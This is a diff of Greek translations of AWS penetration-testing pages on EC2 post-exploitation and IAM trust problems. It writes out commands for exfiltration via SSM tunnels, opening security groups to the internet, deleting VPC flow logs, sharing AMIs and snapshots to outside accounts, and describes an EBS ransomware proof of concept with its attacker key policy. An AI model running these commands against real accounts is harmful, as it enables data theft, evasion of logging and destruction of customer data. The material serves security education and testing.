@@ -124,30 +151,30 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Ακόμα κι αν κλειδώσετε ένα EC2 ώστε να μην βγαίνει κίνηση, μπορεί να εξακολουθήσει να **exfil via DNS**.
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- **VPC Flow Logs δεν θα το καταγράψουν.**
|
||||
- Δεν έχετε πρόσβαση στα AWS DNS logs.
|
||||
- Απενεργοποιήστε αυτό θέτοντας "enableDnsSupport" σε false με:
|
||||
- Απενεργοποιήστε αυτό ορίζοντας "enableDnsSupport" σε false με:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να καλέσει API endpoints ενός account που ελέγχει ο ίδιος. Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο επιτιθέμενος θα μπορεί να δει τα exfiltrate δεδομένα στα Cloudtrail logs.
|
||||
Ένας attacker θα μπορούσε να καλέσει API endpoints ενός account που ελέγχει. Το Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο attacker θα μπορεί να δει τα exfiltrate δεδομένα στα Cloudtrail logs.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε network services ανοίγοντας ports όπως αυτό:
|
||||
Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε network services ανοίγοντας ports όπως το εξής:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
### Privesc σε ECS
|
||||
|
||||
Είναι δυνατό να τρέξετε ένα EC2 instance και να το καταχωρήσετε ώστε να χρησιμοποιηθεί για την εκτέλεση ECS instances και στη συνέχεια να κλέψετε τα δεδομένα των ECS instances.
|
||||
Είναι δυνατό να τρέξεις ένα EC2 instance και να το καταχωρήσεις ώστε να χρησιμοποιηθεί για την εκτέλεση ECS instances και στη συνέχεια να κλέψεις τα δεδομένα των ECS instances.
|
||||
|
||||
Για [**περισσότερες πληροφορίες δείτε αυτό**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Αφαίρεση VPC flow logs
|
||||
```bash
|
||||
@@ -155,68 +182,68 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Απαιτούμενα δικαιώματα:
|
||||
Required permissions:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Επιπλέον της εκτέλεσης εντολών, το SSM επιτρέπει traffic tunneling το οποίο μπορεί να καταχραστεί για να pivot από EC2 instances που δεν έχουν πρόσβαση δικτύου λόγω Security Groups ή NACLs.
|
||||
Ένα από τα σενάρια όπου αυτό είναι χρήσιμο είναι το pivoting από έναν [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) σε ένα ιδιωτικό EKS cluster.
|
||||
Εκτός από την εκτέλεση εντολών, το SSM επιτρέπει traffic tunneling το οποίο μπορεί να καταχραστεί για pivot από EC2 instances που δεν έχουν πρόσβαση στο δίκτυο λόγω Security Groups ή NACLs.
|
||||
Ένα από τα σενάρια όπου αυτό είναι χρήσιμο είναι το pivot από έναν [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) προς ένα ιδιωτικό EKS cluster.
|
||||
|
||||
> Για να ξεκινήσετε μια συνεδρία χρειάζεται να έχετε εγκαταστήσει το SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Για να ξεκινήσετε μια συνεδρία χρειάζεστε εγκατεστημένο το SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Εγκαταστήστε το SessionManagerPlugin στο μηχάνημά σας
|
||||
2. Συνδεθείτε στο Bastion EC2 χρησιμοποιώντας την παρακάτω εντολή:
|
||||
1. Εγκαταστήστε το SessionManagerPlugin στον υπολογιστή σας
|
||||
2. Συνδεθείτε στο Bastion EC2 χρησιμοποιώντας την ακόλουθη εντολή:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Πάρε τα προσωρινά credentials του Bastion EC2 AWS με το script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Μετέφερε τα credentials στο δικό σου μηχάνημα στο αρχείο `$HOME/.aws/credentials` ως προφίλ `[bastion-ec2]`
|
||||
3. Πάρε τα προσωρινά AWS credentials του Bastion EC2 με το script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Μετάφερε τα credentials στη δική σου μηχανή στο αρχείο `$HOME/.aws/credentials` ως προφίλ `[bastion-ec2]`
|
||||
5. Συνδέσου στο EKS ως το Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Ενημερώστε το πεδίο `server` στο αρχείο `$HOME/.kube/config` ώστε να δείχνει σε `https://localhost`
|
||||
6. Ενημερώστε το πεδίο `server` στο αρχείο `$HOME/.kube/config` ώστε να δείχνει στο `https://localhost`
|
||||
7. Δημιουργήστε ένα SSM tunnel ως εξής:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Η κίνηση από το εργαλείο `kubectl` προωθείται τώρα μέσω του SSM tunnel μέσω του Bastion EC2 και μπορείτε να αποκτήσετε πρόσβαση στο ιδιωτικό EKS cluster από τον δικό σας υπολογιστή εκτελώντας:
|
||||
8. Η κίνηση από το `kubectl` προωθείται τώρα μέσω του SSM tunnel μέσω του Bastion EC2 και μπορείτε να αποκτήσετε πρόσβαση στο ιδιωτικό EKS cluster από τον δικό σας υπολογιστή εκτελώντας:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Σημειώστε ότι οι συνδέσεις SSL θα αποτύχουν εκτός αν ορίσετε την παράμετρο `--insecure-skip-tls-verify ` (ή το αντίστοιχό της σε εργαλεία audit του K8s). Εφόσον η κίνηση δρομολογείται μέσω του ασφαλούς AWS SSM tunnel, είστε προστατευμένοι από οποιαδήποτε μορφή επιθέσεων MitM.
|
||||
Σημειώστε ότι οι συνδέσεις SSL θα αποτύχουν εκτός αν ορίσετε την παράμετρο `--insecure-skip-tls-verify ` (ή το αντίστοιχό της σε εργαλεία audit του K8s). Δεδομένου ότι η κυκλοφορία διοχετεύεται μέσω του ασφαλούς AWS SSM tunnel, είστε προστατευμένοι από οποιονδήποτε τύπο MitM επιθέσεων.
|
||||
|
||||
Τέλος, αυτή η τεχνική δεν είναι συγκεκριμένη για επιθέσεις σε private EKS clusters. Μπορείτε να ορίσετε αυθαίρετα domains και ports για να κάνετε pivot σε οποιαδήποτε άλλη υπηρεσία AWS ή σε μια προσαρμοσμένη εφαρμογή.
|
||||
Τέλος, αυτή η τεχνική δεν είναι ειδική για επίθεση σε ιδιωτικά EKS clusters. Μπορείτε να ορίσετε αυθαίρετους τομείς και θύρες για να pivot σε οποιαδήποτε άλλη AWS υπηρεσία ή σε μια προσαρμοσμένη εφαρμογή.
|
||||
|
||||
---
|
||||
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
#### Γρήγορο Τοπικό ↔️ Απομακρυσμένο Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Αν χρειάζεται μόνο να προωθήσετε **μία TCP θύρα από το EC2 instance προς τον τοπικό σας υπολογιστή** μπορείτε να χρησιμοποιήσετε το SSM document `AWS-StartPortForwardingSession` (δεν απαιτείται παράμετρος remote host):
|
||||
Αν χρειάζεται μόνο να προωθήσετε **μία TCP θύρα από το EC2 instance στον τοπικό σας υπολογιστή** μπορείτε να χρησιμοποιήσετε το `AWS-StartPortForwardingSession` SSM document (δεν απαιτείται παράμετρος απομακρυσμένου host):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Η εντολή δημιουργεί ένα αμφίδρομο tunnel ανάμεσα στον υπολογιστή εργασίας σας (`localPortNumber`) και την επιλεγμένη θύρα (`portNumber`) στο instance **χωρίς να ανοίξει κανόνες εισερχόμενων Security-Group**.
|
||||
Η εντολή δημιουργεί ένα αμφίδρομο tunnel μεταξύ του workstation σας (`localPortNumber`) και της επιλεγμένης θύρας (`portNumber`) στην instance **χωρίς να ανοίγει εισερχόμενους κανόνες Security-Group**.
|
||||
|
||||
Συχνές περιπτώσεις χρήσης:
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Στο instance, ξεκινήστε έναν γρήγορο HTTP server που δείχνει στον κατάλογο που θέλετε να exfiltrate:
|
||||
1. Στην instance ξεκινήστε έναν γρήγορο HTTP server που δείχνει στον κατάλογο που θέλετε να exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Από τον υπολογιστή εργασίας σας, κατεβάστε τα αρχεία μέσω του SSM tunnel:
|
||||
2. Από το workstation σας ανακτήστε τα αρχεία μέσω του SSM tunnel:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Accessing internal web applications (e.g. Nessus)**
|
||||
* **Πρόσβαση σε εσωτερικές web εφαρμογές (π.χ. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -224,7 +251,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Συμβουλή: Compress και encrypt τα αποδεικτικά στοιχεία πριν από το exfiltrating, ώστε το CloudTrail να μην καταγράφει το clear-text content:
|
||||
Συμβουλή: Συμπιέστε και κρυπτογραφήστε τα αποδεικτικά στοιχεία πριν την εξαγωγή τους, ώστε το CloudTrail να μην καταγράφει το clear-text περιεχόμενο:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -233,9 +260,9 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Αναζήτηση ευαίσθητων πληροφοριών σε δημόσιες και ιδιωτικές AMIs
|
||||
### Αναζήτηση ευαίσθητων πληροφοριών σε δημόσια και ιδιωτικά AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): Το CloudShovel είναι ένα εργαλείο σχεδιασμένο για να **αναζητά ευαίσθητες πληροφορίες σε δημόσιες ή ιδιωτικές Amazon Machine Images (AMIs)**. Αυτοματοποιεί τη διαδικασία εκκίνησης instances από τις στοχευόμενες AMIs, την προσάρτηση των volumes τους και τη σάρωση για πιθανά secrets ή ευαίσθητα δεδομένα.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): Το CloudShovel είναι ένα εργαλείο σχεδιασμένο για **αναζήτηση ευαίσθητων πληροφοριών σε δημόσια ή ιδιωτικά Amazon Machine Images (AMIs)**. Αυτοματοποιεί τη διαδικασία του launching instances από στοχευμένα AMIs, το mounting των volumes τους, και το scanning για potential secrets ή ευαίσθητα δεδομένα.
|
||||
|
||||
### Κοινή χρήση EBS Snapshot
|
||||
```bash
|
||||
@@ -243,9 +270,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Ένα proof of concept παρόμοιο με την επίδειξη Ransomware που περιγράφεται στις σημειώσεις post-exploitation για το S3. Το KMS θα έπρεπε να μετονομαστεί σε RMS (Ransomware Management Service), λόγω του πόσο εύκολο είναι να χρησιμοποιηθεί για να κρυπτογραφήσει διάφορες υπηρεσίες AWS.
|
||||
Μια proof of concept παρόμοια με την επίδειξη Ransomware που παρουσιάζεται στις σημειώσεις post-exploitation για το S3. Το KMS θα έπρεπε να ονομαστεί RMS για Ransomware Management Service, δεδομένης της ευκολίας με την οποία μπορεί να χρησιμοποιηθεί για να κρυπτογραφήσει διάφορες υπηρεσίες AWS.
|
||||
|
||||
Πρώτα, από έναν λογαριασμό AWS 'attacker', δημιούργησε ένα customer managed key στο KMS. Σ'αυτό το παράδειγμα θα αφήσουμε την AWS να διαχειρίζεται τα δεδομένα του κλειδιού για εμάς, αλλά σε ρεαλιστικό σενάριο ένας κακόβουλος φορέας θα κρατούσε τα δεδομένα του κλειδιού εκτός του ελέγχου της AWS. Αλλάξτε την key policy ώστε να επιτρέπει σε οποιονδήποτε AWS account Principal να χρησιμοποιεί το κλειδί. Για αυτή την key policy, το όνομα του λογαριασμού ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει πλήρη πρόσβαση ονομάζεται 'Outside Encryption'
|
||||
Πρώτα, από έναν 'attacker' AWS λογαριασμό, δημιουργήστε ένα customer managed key στο KMS. Για αυτό το παράδειγμα θα αφήσουμε το AWS να διαχειρίζεται τα δεδομένα του κλειδιού για εμάς, αλλά σε ένα ρεαλιστικό σενάριο ένας κακόβουλος παράγοντας θα διατηρούσε τα δεδομένα του κλειδιού εκτός του ελέγχου του AWS. Αλλάξτε την πολιτική του κλειδιού ώστε να επιτρέπει σε οποιονδήποτε AWS account Principal να χρησιμοποιήσει το κλειδί. Για αυτήν την πολιτική κλειδιού, το όνομα του λογαριασμού ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει πλήρη πρόσβαση ονομάζεται 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -337,7 +364,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
Ο κανόνας πολιτικής του key πρέπει να έχει ενεργοποιημένα τα παρακάτω για να επιτρέπει τη χρήση του για κρυπτογράφηση ενός EBS volume:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -345,13 +372,13 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Τώρα με το δημόσια προσβάσιμο key προς χρήση. Μπορούμε να χρησιμοποιήσουμε έναν λογαριασμό 'victim' που έχει μερικά EC2 instances εκτελόμενα με μη κρυπτογραφημένα EBS volumes συνδεδεμένα. Τα EBS volumes αυτού του λογαριασμού 'victim' είναι ο στόχος μας για κρυπτογράφηση — αυτή η επίθεση γίνεται υπό την υπόθεση παραβίασης ενός λογαριασμού AWS με υψηλά προνόμια.
|
||||
Τώρα, έχοντας διαθέσιμο το δημόσια προσβάσιμο key. Μπορούμε να χρησιμοποιήσουμε έναν λογαριασμό 'victim' που έχει μερικά EC2 instances ενεργοποιημένα με μη κρυπτογραφημένα EBS volumes συνδεδεμένα. Τα EBS volumes αυτού του 'victim' λογαριασμού είναι ο στόχος μας για κρυπτογράφηση — αυτή η επίθεση γίνεται υπό την υπόθεση παραβίασης ενός AWS λογαριασμού με υψηλά προνόμια.
|
||||
|
||||
 
|
||||
|
||||
Παρόμοια με το παράδειγμα S3 ransomware. Αυτή η επίθεση θα δημιουργήσει αντίγραφα των συνδεδεμένων EBS volumes χρησιμοποιώντας snapshots, θα χρησιμοποιήσει το δημόσια διαθέσιμο key από τον λογαριασμό 'attacker' για να κρυπτογραφήσει τα νέα EBS volumes, στη συνέχεια θα αποσυνδέσει τα αρχικά EBS volumes από τα EC2 instances και θα τα διαγράψει, και τελικά θα διαγράψει τα snapshots που χρησιμοποιήθηκαν για τη δημιουργία των πρόσφατα κρυπτογραφημένων EBS volumes. 
|
||||
Παρόμοιο με το παράδειγμα S3 ransomware. Αυτή η επίθεση θα δημιουργήσει αντίγραφα των συνδεδεμένων EBS volumes χρησιμοποιώντας snapshots, θα χρησιμοποιήσει το δημόσια διαθέσιμο key από τον λογαριασμό 'attacker' για να κρυπτογραφήσει τα νέα EBS volumes, στη συνέχεια θα αποσυνδέσει τα αρχικά EBS volumes από τα EC2 instances και θα τα διαγράψει, και τέλος θα διαγράψει τα snapshots που χρησιμοποιήθηκαν για τη δημιουργία των νέων κρυπτογραφημένων EBS volumes. 
|
||||
|
||||
Αυτό έχει ως αποτέλεσμα να παραμένουν διαθέσιμα στον λογαριασμό μόνο κρυπτογραφημένα EBS volumes.
|
||||
Το αποτέλεσμα είναι ότι στον λογαριασμό παραμένουν μόνο κρυπτογραφημένα EBS volumes.
|
||||
|
||||

|
||||
|
||||
@@ -359,7 +386,7 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
|
||||

|
||||
|
||||
Στη συνέχεια, επιστρέψτε στην πολιτική κλειδιού του λογαριασμού 'attacker' και αφαιρέστε τον κανόνα πολιτικής 'Outside Encryption'.
|
||||
Έπειτα, επιστρέψτε στην key policy στον λογαριασμό 'attacker' και αφαιρέστε τον κανόνα πολιτικής 'Outside Encryption' από την key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -430,15 +457,15 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
]
|
||||
}
|
||||
```
|
||||
Περιμένετε λίγο ώστε η νεορυθμισμένη key policy να διαδοθεί. Έπειτα επιστρέψτε στον 'victim' account και προσπαθήστε να επισυνάψετε ένα από τα πρόσφατα κρυπτογραφημένα EBS volumes. Θα διαπιστώσετε ότι μπορείτε να επισυνάψετε το volume.
|
||||
Περιμένετε λίγο ώστε η νεορυθμισμένη key policy να διαδοθεί. Στη συνέχεια επιστρέψτε στον λογαριασμό 'victim' και προσπαθήστε να επισυνάψετε έναν από τους πρόσφατα κρυπτογραφημένους EBS volumes. Θα διαπιστώσετε ότι μπορείτε να επισυνάψετε τον όγκο.
|
||||
|
||||
 
|
||||
|
||||
Ωστόσο, όταν προσπαθήσετε να επανεκκινήσετε πράγματι το EC2 instance με το κρυπτογραφημένο EBS volume, θα αποτύχει και θα μεταβεί από την κατάσταση 'pending' πίσω στην κατάσταση 'stopped' επ' αόριστον, καθώς το επισυναπτόμενο EBS volume δεν μπορεί να αποκρυπτογραφηθεί με το key επειδή η key policy πλέον δεν το επιτρέπει.
|
||||
Αλλά όταν προσπαθήσετε πραγματικά να εκκινήσετε ξανά το EC2 instance με το κρυπτογραφημένο EBS volume, θα αποτύχει και θα επιστρέψει από την κατάσταση 'pending' στην κατάσταση 'stopped' επ’ αόριστον, καθώς ο επισυναπτόμενος EBS volume δεν μπορεί να αποκρυπτογραφηθεί με το key επειδή η key policy πλέον δεν το επιτρέπει.
|
||||
|
||||
 
|
||||
|
||||
Αυτό είναι το python script που χρησιμοποιήθηκε. Παίρνει AWS creds για έναν 'victim' account και μια δημόσια διαθέσιμη AWS ARN τιμή για το key που θα χρησιμοποιηθεί για κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων EBS volumes που είναι προσαρτημένα σε ΟΛΑ τα EC2 instances στον στοχευόμενο AWS account, στη συνέχεια θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τα αρχικά EBS volumes, θα τα διαγράψει, και τέλος θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένα EBS volumes στον στοχευόμενο 'victim' account. ΧΡΗΣΙΜΟΠΟΙΗΣΤΕ ΑΥΤΟ ΤΟ SCRIPT ΜΟΝΟ ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΩΝ, ΕΙΝΑΙ ΚΑΤΑΣΤΡΟΦΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΑ ΤΑ ΑΡΧΙΚΑ EBS VOLUMES. Μπορείτε να τα ανακτήσετε χρησιμοποιώντας το χρησιμοποιημένο KMS key και να τα επαναφέρετε στην αρχική τους κατάσταση μέσω snapshots, αλλά θέλω απλώς να σας ενημερώσω ότι πρόκειται για ransomware PoC στο τέλος της ημέρας.
|
||||
Αυτό είναι το python script που χρησιμοποιήθηκε. Παίρνει AWS creds για έναν λογαριασμό 'victim' και μια δημόσια διαθέσιμη AWS ARN τιμή για το key που θα χρησιμοποιηθεί για την κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων EBS volumes που είναι επισυναπτόμενα σε ΟΛΑ τα EC2 instances στον στοχευόμενο AWS λογαριασμό, έπειτα θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τα αρχικά EBS volumes, θα τα διαγράψει, και τέλος θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένα EBS volumes στον στοχευόμενο λογαριασμό 'victim'. ΧΡΗΣΙΜΟΠΟΙΗΣΤΕ ΑΥΤΟ ΤΟ SCRIPT ΜΟΝΟ ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΩΝ, ΕΙΝΑΙ ΚΑΤΑΣΤΡΟΦΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΑ ΤΑ ΑΡΧΙΚΑ EBS VOLUMES. Μπορείτε να τα ανακτήσετε χρησιμοποιώντας το χρησιμοποιημένο KMS key και να τα επαναφέρετε στην αρχική τους κατάσταση μέσω snapshots, αλλά απλώς θέλω να είστε ενήμεροι ότι αυτό είναι ένα ransomware PoC στο τέλος της ημέρας.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -557,6 +584,6 @@ main()
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – Πώς να μεταφέρετε αρχεία στο AWS χρησιμοποιώντας SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+49
-22
@@ -4,21 +4,21 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με την πρόσβαση IAM:
|
||||
Για περισσότερες πληροφορίες σχετικά με την πρόσβαση στο IAM:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Πρόβλημα Confused Deputy
|
||||
## Confused Deputy Problem
|
||||
|
||||
Αν **επιτρέψετε σε έναν εξωτερικό λογαριασμό (A)** να έχει πρόσβαση σε ένα **role** στον λογαριασμό σας, πιθανόν να έχετε **0 ορατότητα** στο **ποιος ακριβώς μπορεί να έχει πρόσβαση σε αυτόν τον εξωτερικό λογαριασμό**. Αυτό είναι πρόβλημα, γιατί αν ένας άλλος εξωτερικός λογαριασμός (B) μπορεί να έχει πρόσβαση στον εξωτερικό λογαριασμό (A), είναι πιθανό ότι **και ο B θα μπορεί επίσης να έχει πρόσβαση στον λογαριασμό σας**.
|
||||
Εάν **επιτρέψετε σε έναν εξωτερικό λογαριασμό (A)** να αποκτήσει πρόσβαση σε έναν **role** στον λογαριασμό σας, πιθανότατα θα έχετε **μηδενική ορατότητα** για το **ποιος ακριβώς μπορεί να αποκτήσει πρόσβαση σε αυτόν τον εξωτερικό λογαριασμό**. Αυτό είναι πρόβλημα, επειδή αν ένας άλλος εξωτερικός λογαριασμός (B) μπορεί να αποκτήσει πρόσβαση στον εξωτερικό λογαριασμό (A), τότε είναι πιθανό ότι **και ο B θα μπορεί επίσης να αποκτήσει πρόσβαση στον λογαριασμό σας**.
|
||||
|
||||
Επομένως, όταν επιτρέπετε σε έναν εξωτερικό λογαριασμό να έχει πρόσβαση σε ένα **role** στον λογαριασμό σας, μπορείτε να καθορίσετε ένα `ExternalId`. Πρόκειται για ένα "μυστικό" string που ο εξωτερικός λογαριασμός (A) **πρέπει να δηλώσει** προκειμένου να **assume the role στην οργάνωσή σας**. Εφόσον ο **εξωτερικός λογαριασμός B δεν θα γνωρίζει αυτό το string**, ακόμα κι αν έχει πρόσβαση στον A **δεν θα μπορεί να έχει πρόσβαση στο role σας**.
|
||||
Συνεπώς, όταν επιτρέπετε σε έναν εξωτερικό λογαριασμό να αποκτήσει πρόσβαση σε έναν role στον λογαριασμό σας, είναι δυνατόν να καθορίσετε ένα `ExternalId`. Αυτή είναι μια "μυστική" συμβολοσειρά που ο εξωτερικός λογαριασμός (A) **πρέπει να καθορίσει** προκειμένου να **assume the role in your organization**. Καθώς ο **εξωτερικός λογαριασμός B δεν θα γνωρίζει αυτή τη συμβολοσειρά**, ακόμα κι αν έχει πρόσβαση στον A, **δεν θα μπορεί να αποκτήσει πρόσβαση στον role σας**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ωστόσο, λάβετε υπόψη ότι αυτό το `ExternalId` "μυστικό" είναι **όχι μυστικό**, ο οποιοσδήποτε μπορεί να **διαβάσει την IAM assume role policy και να το δει**. Αλλά όσο ο εξωτερικός λογαριασμός A το γνωρίζει και ο εξωτερικός λογαριασμός **B δεν το γνωρίζει**, αυτό **εμποδίζει τον B να εκμεταλλευτεί τον A για να αποκτήσει πρόσβαση στο role σας**.
|
||||
Ωστόσο, σημειώστε ότι αυτό το `ExternalId` "μυστικό" **δεν είναι μυστικό** — οποιοσδήποτε που μπορεί να **διαβάσει την IAM assume role policy θα μπορεί να το δει**. Αλλά όσο ο εξωτερικός λογαριασμός A το γνωρίζει, και ο εξωτερικός λογαριασμός **B δεν το γνωρίζει**, αυτό **αποτρέπει τον B από το να καταχραστεί τον A για να αποκτήσει πρόσβαση στον role σας**.
|
||||
|
||||
Παράδειγμα:
|
||||
```json
|
||||
@@ -39,9 +39,9 @@
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Για να εκμεταλλευτεί ένας επιτιθέμενος έναν confused deputy, θα χρειαστεί να βρει με κάποιο τρόπο αν οι principals του τρέχοντος λογαριασμού μπορούν να impersonate roles σε άλλους λογαριασμούς.
|
||||
> Για να εκμεταλλευτεί ένας attacker έναν confused deputy, θα χρειαστεί να βρει με κάποιο τρόπο αν οι principals του τρέχοντος account μπορούν να impersonate roles σε άλλα accounts.
|
||||
|
||||
### Αναπάντεχες εμπιστοσύνες
|
||||
### Απροσδόκητες εμπιστοσύνες
|
||||
|
||||
#### Wildcard ως principal
|
||||
```json
|
||||
@@ -51,7 +51,7 @@
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Αυτή η πολιτική **επιτρέπει σε όλα τα AWS** να αναλάβουν τον ρόλο.
|
||||
Αυτή η πολιτική **επιτρέπει όλα τα AWS** να αναλάβουν τον ρόλο.
|
||||
|
||||
#### Υπηρεσία ως principal
|
||||
```json
|
||||
@@ -62,7 +62,7 @@
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Αυτή η πολιτική **επιτρέπει σε οποιονδήποτε λογαριασμό** να διαμορφώσει το apigateway του ώστε να καλεί αυτό το Lambda.
|
||||
Αυτή η πολιτική **επιτρέπει σε οποιονδήποτε λογαριασμό** να διαμορφώσει το apigateway τους για να καλέσει αυτό το Lambda.
|
||||
|
||||
#### S3 ως principal
|
||||
```json
|
||||
@@ -73,7 +73,7 @@
|
||||
}
|
||||
}
|
||||
```
|
||||
Αν ένα S3 bucket δοθεί ως principal, επειδή τα S3 buckets δεν έχουν Account ID, αν **διαγράψατε το bucket σας και ο attacker το δημιούργησε** στον δικό του λογαριασμό, τότε θα μπορούσαν να το καταχραστούν.
|
||||
Εάν ένα S3 bucket δοθεί ως principal, επειδή τα S3 buckets δεν έχουν Account ID, αν **διαγράψατε το bucket σας και ο attacker το δημιούργησε** στο δικό του account, τότε θα μπορούσαν να το εκμεταλλευτούν.
|
||||
|
||||
#### Δεν υποστηρίζεται
|
||||
```json
|
||||
@@ -84,10 +84,10 @@
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
